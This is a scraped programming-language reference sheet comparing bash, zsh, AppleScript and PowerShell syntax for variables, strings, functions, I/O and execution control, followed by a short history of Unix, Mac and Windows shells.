| bash| applescript| powershell  
external command| ls| do shell script "ls"| dir  
backticks| s=\`ls\`| set s to do shell script "ls"| $s=dir  
command line args| $\#  
$1  
$2  
_…_|  _must declare run handler:_  
on run argv  
length of argv  
item 1 of argv  
item 2 of argv  
 _…_  
end run|  
print to standard out| echo "hi world"| _popup window:_  
display dialog\("hi world"\)| write-host "hi world"  
standard file handles| /dev/stdin  
/dev/stdout  
/dev/stderr|  _none_|  
read line| \`head -1 /etc/passwd\`| set f to POSIX file "/etc/passwd"  
set a to read f as text using delimiter linefeed  
item 1 of a|  
read file| \`cat /tmp/a\`| set f to POSIX file "/tmp/a"  
set s to f as text|  
write to file| echo "hello" > /tmp/a| set f to POSIX file "/tmp/a"  
open for access f with write permission  
write "hello" to f  
close access f|  
append to file| echo "hello" >> /tmp/a| set f to POSIX file "/tmp/a"  
open for access f with write permission  
write "hello" to f starting at eof  
close access f|  
speech|  _depends on OS_|  say "I'm a Mac"| $sp = new-object -comobject
"SAPI.SpVoice"  
$sp.speak\("I'm a PC"\)  
environment variable|  _shell variables are environment variables_  
$HOME| system attribute "HOME"| $env:home  
command path| which ping| | get-command ping  
exit| exit 0|  _none_|  
set signal handller| int\_handler\(\) \{ echo "exiting…"; exit \}; trap
'int\_handler' INT|  _none_|  
start job in background| sleep 1000 &| _none_|  
suspend current job|  _^Z_|  _none_|  
list jobs| jobs|  _none_|  
background suspended job| bg %1|  _none_|  
bring background job into foreground| fg %1|  _none_|  
disown job| disown %1|  _none_|  
libraries and modules  
| bash| applescript| powershell  
library| $ cat foo.sh  
function add\(\) \{  
echo $\(\($1 + $2\)\);  
\}| $ cat foo.applescript  
on showText\(theText\)  
display dialog \(theText\)  
end showText  
$ osascript -o foo.scpt foo.applescript|  
import library| source foo.sh  
add 3 7| set f to "/path/to/foo.scpt"  
set foo to \(load script POSIX file f\)  
tell foo to showText\("bar"\)|  
library path|  _none_| |   
library path environment variable|  _none_| |   
module declaration|  _none_| |   
module separator|  _none_| |   
objects  
| bash| applescript| powershell  
define class| | on makeInt\(val\)  
script theInt  
property value : val  
on addOne\(\)  
set value to value + 1  
end addOne  
end script  
return theInt  
end makeInt|  
create object| | set anInt to makeInt\(7\)|   
getter and setter| | get value of anInt  
set value of anInt to 9|  
invoke method| | tell anInt to addOne\(\)|   
reflection  
| bash| applescript| powershell  
class| | set s to "hello"  
display dialog class of s|  
list defined variables| printenv| | get-variable  
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
# General

## version used

The version of the language used for verifying the examples in the reference
sheet.

## show version

How to get the version.

**bash:**

Also available in $BASH\_VERSION.

## interpreter

The customary name of the interpreter and how to invoke it.

**unix:**

On Unix, scripts are executing by passing the file containing the script to
the interpreter as an argument:

[code]

    bash ~/configure.sh
    
[/code]

If the executable bit is set, the file can be run directly:

[code]

    ~/configure.sh
    
[/code]

To determine the name of the interpreter that will process the script, Unix
will look for the presence of a shebang \(\#\!\) at the start of the file. If
the pathname to a command follows the shebang, it will be used to interpret
the script. If no shebang is present, the script will be interpreted with _sh_
, which is _bash_ on modern Unix systems.

Arguments that follow the command will be passed to interpreter as command
line arguments.

If it is undesirable to specify the pathname of the interpreter, the env
command can be used to search the PATH directories:

[code]

    #!/usr/bin/env lua
    
[/code]

**bash:**

If a script is run directly and no shebang is specified, the operating system
will interpret the script with /bin/sh. On modern Unix systems /bin/sh is the
same as /bin/bash. If there is a chance your script might get executed by the
older Bourne shell \(1977\), you should review the differences between the two
shells.

**powershell:**

On Windows, a file is a PowerShell script if it has a `.ps1` suffix. There is
no need to mark the script as executable. However, PowerShell is not
configured to run scripts by default. To change the configuration, start a
PowerShell as an Administrator and run the following command:

[code]

    set-executionpolicy remotesigned
    
[/code]

It is possible to invoke a PowerShell script by specifying the PowerShell
interpreter as the command and the script as an argument, but the suffix of
the file must still be `ps1`:

[code]

    powershell -file .\test.ps1
    
[/code]

## repl

How to invoke the REPL.

**applescript:**

The closest to a AppleScript REPL is to launch the AppleScript Editor.
Snippets of AppleScript code can be entered into the upper pane. When the
_Run_ button is clicked, the return value of the last statement executed will
be displayed in the lower pane.

## execute command and exit

How to pass a single command to be executed as a command line argument.

## statement separator

How the parser determines the end of a statement.

**bash:**

A bash _simple command_ consists of optional variable assignments, followed by
a command and zero or more arguments and redirections. The command can be an
external command, user defined function, or built-in.

A bash _pipeline_ is a sequence of one or more _simple commands_ joined by
pipes |. The shell executes the commands in parallel and redirects the stdout
of each command to the stdin of the following command. By default, the return
status of a _pipeline_ is the return status of the last _simple command_. The
behavior can be changed so that the return status of the _pipeline_ is nonzero
if any of the _simple commands_ have a nonzero return status:

[code]

    set -o pipefail
    
[/code]

The _control operators_ ; & && || are _pipeline_ separators. The semicolon ;
enforces sequential execution. The ampersand & executes in parallel. The &&
executes to the first _pipeline_ that returns a nonzero status. The ||
executes to the first _pipeline_ that returns a zero status.

A _list_ is one or more _pipelines_ joined by _control operators_. A _list_
can have a semicolon ; or ampersand & at the end. A _list_ is terminated by a
newline.

A newline does not terminate a _list_ when:

  * inside single quotes '', double quotes "", backticks \`\`, or parens \(\)
  * inside a block started by the keywords: for, select, case, if, while, until

A newline that would normally terminate a statement can be escaped with a
backslash.

Multiple lists can be grouped inside parens \( \) or curly brackets \{ \}.
When grouped inside parens, the lists are executed inside a subshell. The
curly brackets, but not the parens, must be separated from their contents by
white space. Also, within curly brackets, but not within parens, the last list
must be terminated by a semicolon or newline.

**zsh**

Everything in the above paragraph on bash also holds for zsh with the
following exceptions: \(1\) pipelines always return the return value of the
last command: there is no `set -o pipefail` options. \(2\) curly brackets do
not have to be set off by whitespace, nor must there be a newline before the
last curly bracket.

zsh has two additional pipeline separators: &\! and &|. They have identical
behavior. They behave like the & pipeline separator except that the preceding
pipeline will not be added to the jobs table and the pipeline will not be
terminated if the parent shell exits.

## block delimiters

How blocks are delimited.

**bash:**

Blocks can be delimited with \{\}, \(\), or the _do_ ,_done_ keywords.

If a block is started with an open curly bracket \{, then the block must be
terminated with a line containing a close curly bracket by itself \}.

If a block is delimited by \(\), then the commands in the block are executed
in a subshell.

A block is delimited by _do_ and _done_ when using the execution control
keywords _for_ , _select_ , _while_ , and _until_.

The _then_ and _else_ keywords of an _if_ statement start blocks which are
terminated by a following _elif_ , _else_ , or _fi_.

The _function_ and _if_ keywords open blocks which are terminated by _end_
keywords. The _repeat_ keyword opens a block which is terminated by _until_.

## assignment

How to assign a value to a variable.

**applescript:**

`set` and `copy` are not synonyms when operating on lists, records, or
objects. The `set` command makes the left variable an alias of the right
variable: the two variables then refer to the same array, record, or object.
The `copy` command will put a copy of the array, record, or object contained
in the left variable.

## parallel assignment

## swap

How to exchange the values held by two variables.

## compound assignment operators: arithmetic, string

The compound assigmment operators for arithmetic operations and string
operations

**powershell**

Note that `/=` performs float division, even when both operands are integers.

When the left operand is a string, `+=` concatenates the right operand to the
left operand.

When the left operand is a string and the right operand an integer, `*=`
concatenates the left operand with itself _right operand_ times.

## increment and decrement

The C-style increment and decrement operators which can be used in
expressions.

## variable declaration

How to declare a variable.

**bash:**

The following three lines have identical behavior:

[code]

    A="hello, world"
    declare A="hello, world"
    typeset A="hello, world"
    
[/code]

It is possible to make a read only variable. Again there are three ways:

[code]

    readonly A="can't change"
    declare -r A="can't change"
    typeset -r A="can't change"
    
[/code]

Variables are not exported to subprocesses unless declared to be exported:

[code]

    export A="exported to subprocess"
    declare -x A="exported to subprocess"
    typeset -x A="exported to subprocess"
    
[/code]

Variables assigned on the same line as a command are not created, only
exported to the subprocess that instantiates the command:

[code]

    EDITOR=emacs svn commit
    
[/code]

By default variables defined inside functions are global. They can be declared
to be local:

[code]

    function foo () {
      local b=17
      # echoes 17:
      echo $b
    }
    # echoes nothing:
    echo $b
    
[/code]

**zsh:**

All statements about `bash` above also hold for `zsh`.

**applescript:**

Variables can be declared as `local` or `global`. It is not possible to
initialize a variable in a declaration. Undeclared variables are `local`: in
the example below, `c` and `e` are not visible outside the function `foo`:

[code]

    on foo(a,b)
      local c
      global d
      set c to a+b
      set d to a+b
      set e to a+b
    end foo
    
[/code]

## are identifiers case sensitive?

**applescript:**

In AppleScript, identifiers are case insensitive. This holds for reserved
keywords as well as user defined variable names. The AppleScript Editor
converts all keywords and identifiers in the source code to lower case when it
is compiled.

**powershell:**

PowerShell identifiers are case insensitive.

## end-of-line comment

How to make the remainder of the line a comment.

**zsh:**

The \# syntax for comments is only available in non-interactive shells unless
the `INTERACTIVE_COMMENTS` option is set. If an interactive shell encounters a
\# where a command is expected a `command not found` error will result.

## multiline comment

How to comment out multiple lines.

**bash:**

The method described is the syntax for a here document, which is a multiline
string literal.

## null

The null literal.

## null test

How to test if a value is null.

## undefined variable access

## undefined test

How to determine if a variable is undefined.

**bash:**

Bash does not distinguish between undefined variables and empty strings. In
the case of exported variables, a variable set to the empty string can be
distinguished from an undefined variable by inspecting the output of
`printenv`.

# Arithmetic and Logic

## true and false

The literals for true and false.

## falsehoods

Values which are false in conditional expressions.

## logical operators

Logical and, or, and not.

**bash:**

&& || and \! are available inside \[\[ \]\], \(\( \)\), and $\(\( \)\)
expressions. Inside \[ \] expressions use -a, -o, and \!.

## condition expression

## are expressions statements

Whether an expression can be used where a statement is expected.

## relational expressions

**bash:**

Bash has three types of relational expressions: \[\[ \]\], \[ \], and \(\(
\)\). For a description of \[ \], read the man page for test.

\(\( \)\) evaluates its contents in the same manner as the arithmetic
expansion $\(\( \)\). If the result is zero, it returns 1 \(false\). Otherwise
it returns 0 \(true\).

\[\[ $a == _pattern_ \]\] and \[\[ $a \!= _pattern_ \]\] interpret \* and ? on
the right side as patterns. Thus "hello" == "hell\*" is true. For numeric
comparision, use \[ $a -eq _num_ \] or \[ $a -ne _num_ \].

Bash expressions discusses the different types of bash expressions in more
detail.

## comparison operators

**bash:**

If == and =\! have an unquoted string on the right, then \* and ? within the
string will be treated as wild cards for matching.

**applescript:**

Many verbal synonyms for the comparison operators are provided. For `=` the
synonyms are `equals`, `is equal`, `equal to`, and `is equal to`.

## convert from string

**bash:**

All values are strings. The $\(\( \)\) operator will interpolate any variables
and then evaluate the resulting string as an arithmetic expression composed of
integers. The variables are not limited to containing integers. The following
script outputs 10:

[code]

    A=7+3
    echo $(($A))
    
[/code]

To perform floating point arithmetic, bash must shell out to a floating point
utility such as _bc_.

## convert to string

## arithmetic expressions

How to evaluate an arithmetic expression.

**bash:**

Bash arithmetic is available within $\(\( \)\) and \(\( \)\). The latter form
evaluates the arithmetic expression and returns status 1 if the result zero,
and 0 otherwise.

Bash only has integer arithmetic. For floating point arithmetic, use the
external commands _bc_ or _dc_.

Bash expressions discusses the different types of bash expressions in more
detail.

## arithmetic operators

The operators for addition, subtraction, multiplication, float division,
integer division, modulus, and exponentiation. Some languages provide a
function _pow_ instead of an operator for exponentiation.

**bash:**

arithmetic operators are available in $\(\( \)\) and \(\( \)\).

## integer division

How to perform integer division.

## float division

How to perform floating point division, even if the operands might be
integers.

**bash:**

The bash shell lacks built-in floating point arithmetic. _bc_ is an arbitrary
precision calculator, and _scale_ is the number of digits to the right of the
decimal point. If scale is not specified, it defaults to zero, which results
in integer division.

It is also possible to use _dc_ , which is a reverse polish notation arbitrary
precision calculator:

[code]

    `echo " 5 k $a $b / p " | dc`
    
[/code]

## arithmetic functions

Functions for computing square root, natural exponent, natural logarithm,
sine, cosine, tangent, arcsine, arccosine, arctangent, and _atan2_.

The trigonometric functions are all in radians. _atan2_ takes two arguments
which are the x and y co-ordinates of a vector in the Cartesian plane. It
returns  
the angle to the positive x-axis made by the vector.

**zsh:**

There is a zsh module which provides the standard transcendental math
functions. It is not installed by default on Mac OS X, the CentOS distribution
of Linux, or Cygwin. The module can be compiled into the zsh, or it can be in
a shared library which is loaded with the command `zmodload mathfunc`.

## arithmetic truncation

## division by zero

## integer overflow

## float overflow

## sqrt -2

The result of taking the square root of -2.

## random integer, uniform float

The examples show how to generate a uniform random integer in the range from 0
to 99, inclusive; how to generate a uniform float in the range 0.0 to 1.0; how
to generate a float from a standard normal distribution

**bash:**

$RANDOM evaluates to a random integer between 0 and 32767 inclusive.

**zsh:**

$RANDOM evaluates to a random integer between 0 and 32767 inclusive.

## seed random numbers

**bash:**

Bash 3.2.48 seeds the random number at start up using the current time and the
PID:

[code]

      /* Seed the random number generator. */
      sbrand (dollar_dollar_pid + shell_start_time);
    
[/code]

Here is the random number generation code:

[code]

    /* A linear congruential random number generator based on the example
       one in the ANSI C standard.  This one isn't very good, but a more
       complicated one is overkill. */
    
    /* Returns a pseudo-random number between 0 and 32767. */
    static int
    brand ()
    {
      rseed = rseed * 1103515245 + 12345;
      return ((unsigned int)((rseed >> 16) & 32767));    /* was % 32768 */
    }
    
[/code]

**zsh:**

Zsh `rand` and `srand` from the standard C library to generate random numbers.
It uses the current time at startup to seed the random number generator. Here
is the source code from zsh 4.3.9:

[code]

        gettimeofday(&shtimer, &dummy_tz);    /* init $SECONDS */
        srand((unsigned int)(shtimer.tv_sec + shtimer.tv_usec)); /* seed $RANDOM */
    
[/code]

**applescript:**

The initial seed is set to a value that varies each time AppleScript is
started up.

If a repeatable sequence of random numbers is desired, the seed can be set to
a specific value using the `with seed` parameter on the first call to
`random`.

**powershell:**

The initial seed is set to a value that varies each time PowerShell is started
up.

If a repeatable sequence of random numbers is desired, the seed can be set to
a specific value using the `-setseed` option on the first call to `random`.

## bit operators

**bash:**

The bit operators are available in $\(\( \)\) and \(\( \)\).

# Strings

## string literal

The syntax for a string literal and how to escape the delimiter.

## newline in literal

Whether a newline character sequence can be included in a string.

For all the languages described in this reference sheet a string literal is
permitted to encompass multiple lines in the source code and the resulting
string will contain the same number of lines.

## escapes

Character escape sequences which can be used in string literals.

## variable interpolation

How to interpolate variables in a string.

**bash:**

A dollar sign `$` can be backslash escaped to prevent variable interpolation:

[code]

    echo "the value of \$a is $a"
    
[/code]

**powershell:**

A dollar sign `$` can be backtick escaped to prevent variable interpolation:

[code]

    write-host "the value of @@`@@$a is $a"
    
[/code]

## length

How to get the length of a string.

## string comparision

How to determine if two strings are equal or unequal.

## index substring

How to find the index of the start of a substring in a string.

## extract substring

## string concatenation

The string concatenation operator.

## split

How to split a string into an array of strings.

**powershell:**

When splitting a string into words, no delimiter need be specified and the
string to be split can follow the `-split` operator:

[code]

    -split "foo bar baz"
    
[/code]

## join

How to concatenate the elements of an array into a string with a separator.

## scan

## pack and unpack

## sprintf

How to create a string using a printf style format.

## case manipulation

## strip

## pad on right, pad on left

## regex match

## substring match

## single substitution

## global substitution

How to replace all occurrences of a pattern in a string with a substitution.

**bash:**

The bash pattern language uses \# to match the beginning of the string and %
to match the end. The \# or % must be used at the start of the pattern:

[code]

    file_name="hello.txt"
    base_name=${file_name/%.txt//}
    
[/code]

# Containers

| bash| zsh| applescript| powershell  
---|---|---|---|---  
array| | | list| array  
dictionary| | | record|   
## array literal

Array literal syntax.

## array size

How to get the number of elements in an array.

## array lookup

How to access a value in an array by index.

## array slice

How to slice a subarray from an array.

## array iteration

## membership

How to test for membership in an array.

## intersection

How to compute an intersection.

## union

## map

## filter

## reduce

## universal predicate

How to test whether a condition holds for all members of an array. Always true
for an empty array.

## existential predicate

How to test whether an item in an array exists for which a condition holds.
Always false for an empty array.

## dictinoary literal

## dictionary size

## dictionary lookup

## dictionary iteration

## out of bounds behavior

# Functions

Python has both functions and methods. Ruby only has methods: functions
defined at the top level are in fact methods on a special main object. Perl
subroutines can be invoked with a function syntax or a method syntax.

## function definition

**bash:**

A bash function definition can alternately be preceded by the keyword
_function_ , and when used, the parens following the function name are
prohibited.

**zsh:**

A zsh function can be defined with the preceding keyword _function_ , the
trailing parens, or both.

**applescript:**

Functions are called _handlers_ in AppleScript.

## function invocation

**bash:**

The syntax for invoking a function is the same as the syntax for invoking a
command. If a function is defined with the same name as a command in the
search path, the function will be executed.

## missing argument value

Value of an argument variable if a function is invoked with fewer arguments
than are declared.

## extra arguments

If a function is invoked with more arguments than are declared, how the
function can access them.

## default argument value

How to declare a default value for an argument.

## variable number of arguments

How to write a function which accepts a variable number of argument.

## named parameters

How to write a function which uses named parameters.

**applescript:**

Named parameters are called _labeled parameters_ in the AppleScript
documentation. The label must be one of the following prepositions:

> about, above, against, apart from, around, aside from, at, below, beneath,
> beside, between, by, for, from, instead of, into, on, onto, out of, over,
> since, thru/through, to, under
For readability the definite article `the` can be inserted in between the
label and the argument in either the function definition or the invocation.

To use other names for parameters, the `given` keyword can be used in
conjunction with colon syntax:

[code]

    on displayNums given startAt:x, endAt:y
      set i to x
      repeat while i <= y
        display dialog (i as text)
        set i to i + 1
      end repeat
    end displayNums
    
    displayNums given startAt:1, endAt:5
    
[/code]

When a `given` parameter takes a boolean value as an argument, the `with` or
`without` keywords can be used when the handler is invoked. Consider the
following handler definition:

[code]

    on foo given flagLabel:flag
      ...
    end foo
    
[/code]

Here are two ways to invoke `foo` with `flag` set to true:

[code]

    foo given flagLabel:true
    foo with flagLabel
    
[/code]

Here are two ways to invoke `foo` with `flag` set to false:

[code]

    foo given flagLabel:false
    foo without flagLabel
    
[/code]

## return value

**bash:**

Bash functions can only return small integers via return. However, a function
can echo to stdout and the caller can invoke it with backticks to get a string
value.

## lambda declaration

How to define a lambda function.

## lambda invocation

## default scope

**bash:**

By default, bash and variables inside functions have global scope.

# Execution Control

## if

Some optional branching constructs:

**bash:**

[code]

    case $a in (0) echo "no";; (1) echo "yes";; (2) echo "maybe";; (*) echo "error";; esac
    
[/code]

## while

**bash:**

Also has an _until_ loop.

## break/continue/redo

_break_ exits a _for_ or _while_ loop immediately. _continue_ goes to the next
iteration of the loop. _redo_ goes back to the beginning of the current
iteration.

## for

**bash:**

A C-style for loop:

[code]

    for ((i=0; i<10; i++ )); do echo $i; done
    
[/code]

**applescript:**

If a block of code needs to be executed a set number of times but no index
variable is needed, AppleScript provides this alternate syntax:

[code]

    repeat 3 times
        display dialog ("tut")
    end repeat
    
[/code]

## raise exception

How to raise an exception.

**applescript:**

It is possible to associate an error code with the error using the `number`
label:

[code]

    error "bam!" number 7
    
[/code]

If no error number is specified, then the value -2700 is used.

## catch exception

How to handle an exception.

**applescript:**

If a variable name is specified after `on error` the error message is stored
in it. There can only be one error clause and it catches all errors. To
perform conditional error handling, use the `number` label and provide a
variable name after it. The error code will be stored in that variable.

[code]

    try
      error "bam!" number 7
    on error msg number errorCode
      if errorCode = 7 then
        display dialog ("error: " & msg)
      else
        display dialog ("unknown error")
      end if
    end try
    
[/code]

A `try` block can be closed by `end error` in addition to `end try`.

## uncaught exception behavior

System behavior if an exception goes uncaught. Most interpreters print the
exception message to stderr and exit with a nonzero status.

**bash:**

The bash interpreter writes a message to stderr whenever a command returns a
nonzero status. By default, the interpreter does not exit, but if this  
behavior is desired, then the following should be put at the top of the
script:

[code]

    trap exit ERR
    
[/code]

## wait on thread

# Environment and I/O

## external command

**bash:**

The syntax for calling an external command is the same as the syntax for
invoking a function. If a function is defined with the same name as an
external command in the search path, the function is invoked.

## backticks

## command line args

## print to standard out

**bash:**

To prevent _echo_ from appending a newline to the output, use

[code]

    echo -n "hello"
    
[/code]

## standard filehandles

**applescript:**

AppleScript does not in general run with stdin and stdout filehandles. When
`osascript` is invoked as a shebang it is possible to read from stdin and
write to stdout, however:

[code]

    #!/usr/bin/env osascript 
    set stdin to do shell script "cat" 
    "Received from stdin: " & stdin
    
[/code]

Here is how the above script would be invoked:

[code]

    $ echo "foo" | ./stdin-example.sh 
    Received from stdin: foo
    
[/code]

## read line

## read file

## write to file

## append to file

## speech

How to make the computer talk.

**bash, zsh:**

On Mac OSX the command `say` can also be executed from the bash or zsh prompt:

[code]

    say "I'm a Mac"
    
[/code]

On Ubuntu Linux this command can be used:

[code]

    espeak "I'm Unix"
    
[/code]

## environment variable

## command path

The directory containing a command. Also indicates if the command is a built-
in, alias, or function. Shows the definition of aliases and functions.

**zsh:**

`zsh` has both `which` and `which -a`. The latter shows all occurrences of a
command in the search path.

## exit

**bash:**

The exit status of a bash script is the return status of the last command
executed, or the argument of _exit_.

## set signal handler

# Libraries and Modules

## library

What a library looks like.

## import library

## library path

## module declaration

## namespace separator

# Objects

## define class

## create object

## constructor

## define method

## invoke method

## destructor

## default method

## inheritance

# Reflection

## class

# Bash

GNU Bash Reference Manual  
Bash Man Page

On most modern systems if you invoke /bin/sh you get the bash shell. If your
script might get run by the older Bourne shell \(1977\), here are the
differences to think about.

A function and a variable can have the same name. User defined variable
identifiers cannot start with a digit. Variables are normally global, but can
be made local to a function with the local keyword, which is useful for
recursive functions.

The behavior of a shell script is dependent on its environment. All
environment variables that existed when the shell process starts become
variables in the script’s namespace. If the name of a command does not resolve
to a shell built-in command or a function defined by the script, the shell
searches the $PATH variable for an external command to run. The shell will
expand ?, \*, and ~ in words using the local file system.

The shell is good at launching external processes and redirecting their stdin
and stdout to files or other processes with >, >>, , 2>>, or 2>&1.

## bash expressions

Bash expressions are implemented as either command expressions which return an
integer status like a command, or variable expressions which evaluate to a
string. Command expressions return a status of 0 for true and a nonzero status
for false. Only commands and command expressions can be used as the
conditional in _if_ , _while_ , and _until_ statements.

Expressions which support arithmetic only support integer arithmetic.

| \[\[ \]\]| \[ \]| \(\( \)\)| $\(\( \)\)| $\( \) _or_ \`\`  
---|---|---|---|---|---  
name| conditional command| test command| arithmetic command| arithmetic
expansion| command substitution  
note| | | evaluate arithmetic expression; return status value 1 if zero and 0 otherwise| | evaluates to what command writes to standard out  
type| command| command| command| variable| variable  
true| 0| 0| 0| 1| 1  
false| 1| 1| 1| 0| 0  
logical operators| && || \!| -a -o \!| && || \!| && || \!| _none_  
regex comparison operator| =~| _none_| |  _none_|  _none_  
string comparison operators| == \!= < >| = \!= < >| | _none_|  _none_  
arithmetic comparison operators| -eq -ne -lt -gt -le -ge| -eq -ne -lt -gt -le
-ge| == \!= < > <= >=| == \!= < > <= >=| _none_  
arithmetic operators|  _none_|  _none_|  \+ - \* / % \*\*| \+ - \* / % \*\*|
_none_  
bit operators|  _none_|  _none_|  << >> & | ^ ~|  << >> & | ^ ~| _none_  
# AppleScript

  * AppleScript Language Guide

  * AppleScript Editor, osacompile, oascript
  * getting dictionary for application, sending commands to an application
  * I/O \(display dialog, say, log\)
  * applications, windows, tabs

# PowerShell

  * PowerShell: Getting Started

# History

Origin of the term "Shell" Pouzin

Louis Pouzin wrote a program called `RUNCOM` for the CTSS operating system in
1964. `RUNCOM` could execute scripts which consisted of CTSS commands.
Development of Multics began in 1964 and Pouzin wrote a paper describing how
the Multics command language could be designed with scriptability in mind. In
the paper he coined the term "shell" for the interpreter of such a scriptable
command language. The Multics shell was implemented by Glenda Schroeder and a
developer from GE. The term "shell" was applied to the Unix shell in 1971. The
use of the letters `rc` in Unix startup files such as `.bashrc` and `.vimrc`
has as its origin the abbreviation for the CTSS `RUNCOM` program.

The DOS prompt `COMMAND.COM` and its successor in Windows NT based systems
`CMD.EXE` are the equivalents of Unix shells. In particular they are
scriptable. However, Microsoft did not call them shells, at least in the early
days. Microsoft used the term _shell_ with a different meaning from the Unix
community. For example in 1988 Microsoft introduced a GUI file manager called
DOS Shell. It could be launched at the DOS prompt with `DOSSHELL`. The Windows
GUI which in the case of Windows 3.1 could be launched from the DOS prompt
with the command `WIN` was also called a shell. Neither `DOSSHELL` nor the
Window shell are scriptable, however.

The development environment for the classic Mac OS was called the Macintosh
Programmer's Workshop or MPW. It included a command line shell based on the
Unix `csh` called MPW shell. With the switch to Mac OS X the default Mac
command line shell became `tcsh` and subsequently `bash` with Mac OS 10.3.

The application HyperCard which became available on Macs in 1987 included a
scripting language called HyperTalk. AppleScript appeared in 1993 and was
HyperTalk extended to the entire Macintosh OS. Mac OS thus became a GUI shell,
perhaps the first. Also in 1993 the first version of Microsoft Office was
released in which the applications were scriptable via Visual Basic.

# Unix Shell History

shell comparison chart

The Thompson shell \(sh: 1971\) had limited programmability. `if` and `goto`
were implemented as external commands. The command line arguments were
available in the variables `$1`, `$2`, and so on. The name of the script was
available in `$0`. The Thompson shell used `<`, `>`, and `|` for redirection.

Here is an example of a Thompson shell script:

[code]

    if -e $1 goto exists
    echo "no such file"
    exit
    :exists
    echo "file exists"
    
[/code]

In the Programmer's Workbench Unix \(1975-1977\) which Bell Labs released
internally to other parts of AT&T the Thompson shell was replaced by an
upgrade which was called the PWB shell or the Mashey shell. It implemented
`if` and `goto` as built-ins and introduced single letter environment
variables. Two environment variables were pre-defined: $s for the user's home
directory and $p for the user's search path.

The Bourne shell \(sh: 1978\) eliminated the goto and introduced while and for
loops. Since System 7 \(1979\) it has shipped in place of the Thompson shell.

The C Shell \(csh: 1978\) by Bill Joy offered execution control statements
with C inspired syntax. It introduced job control and history. It also used
`~` for the user's home directory and `~`_username_ for the directories of
other users. The C Shell programming environment was criticized: Tom
Christiansen \(1996\) and Bruce Barnett \(2001\). Here is a side-by-side
comparison of some differences with the Bourne shell:

Bourne Shell| C Shell  
---|---  
if \[\[ _expr_ \]\]  
then  
_stmt_  
_…_  
elif \[\[ _expr_ \]\]  
then  
_stmt_  
_…_  
else  
_stmt_  
_…_  
fi| if \( _expr_ \) then  
_stmt_  
_…_  
else if \( _expr_ \) then  
_stmt_  
_…_  
else  
_stmt_  
_…_  
end  
| if \( _expr_ \) _stmt_  
while \[ _expr_ \]  
do  
_stmt_  
_…_  
done| while \( _expr_ \)  
_stmt_  
_…_  
end  
for _name_ in _wordlist_  
do  
_stmt_  
_…_  
done| foreach _name_ \( _wordlist_ \)  
_stmt_  
_…_  
end  
The Korn Shell \(ksh: 1982\) added job control and history, but otherwise
stayed compatible with the Bourne shell.

The TC Shell \(tcsh: 1983\) extended the C Shell with command line completion
and command line editing. The name of the shell refers to the TENEX operating
system which used long names for commands and files but offered command line
completion.

The Bourne Again Shell \(bash: 1987\) is an open source implementation of the
Bourne shell, with csh and ksh features. On many modern systems sh is the
Bourne Again Shell.

# AppleScript History

HyperTalk was developed in 1987 for HyperCard on the Macintosh. AppleScript
appeared in 1993. It was HyperTalk extended to the entire Macintosh operating
system.

# PowerShell History

CP/M Builtin Commands

The CP/M operating system was developed in 1973 by Gary Kiddall. It was used
on computers such as the MITS Altair which employed the Intel 8080 or the
Zilog Z80 chip. CP/M used drive letters \(A:, B:, …\) and filenames limited to
8 characters with a 3 character extension. A few CP/M command names would also
persist in DOS: `DIR`, `REN`, `TYPE`. CP/M was written in PL/M, a version of
PL/I developed by Kiddall for Intel which targeted microcomputers. CP/M was
developed on a PDP-10 running the TOPS-10 operating system.

Negotiations with Kiddall to provide an operating system for the IBM PC fell
through, so Microsoft purchased a version of CP/M that had been ported to the
Intel 8086 and adapted it to IBM's needs. The new operating system was branded
as PC DOS on IBM machines and MS-DOS when running on clones. The command line
interpreter was called `COMMAND.COM`.

Early versions of Windows ran as a DOS application and required a DOS license.
Starting with Windows 95 the separate DOS license was no longer required,
though DOS was still used in the boot process. Windows NT, by contrast, did
not use DOS to boot. NT based Windows system provided a interpreter called
`CMD.EXE`.

`COMMAND.COM` and `CMD.EXE` provided rudimentary programming environments
compared to Unix shells. In 2006 Microsoft released the more fully featured
PowerShell. It included a large number of Unix aliases. It also introduced
_commandlets_ which are commands implemented by .NET objects and run in
process by the PowerShell.

page revision: 388, last edited: 18 Sep 2011, 18:32 CEST \(23 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
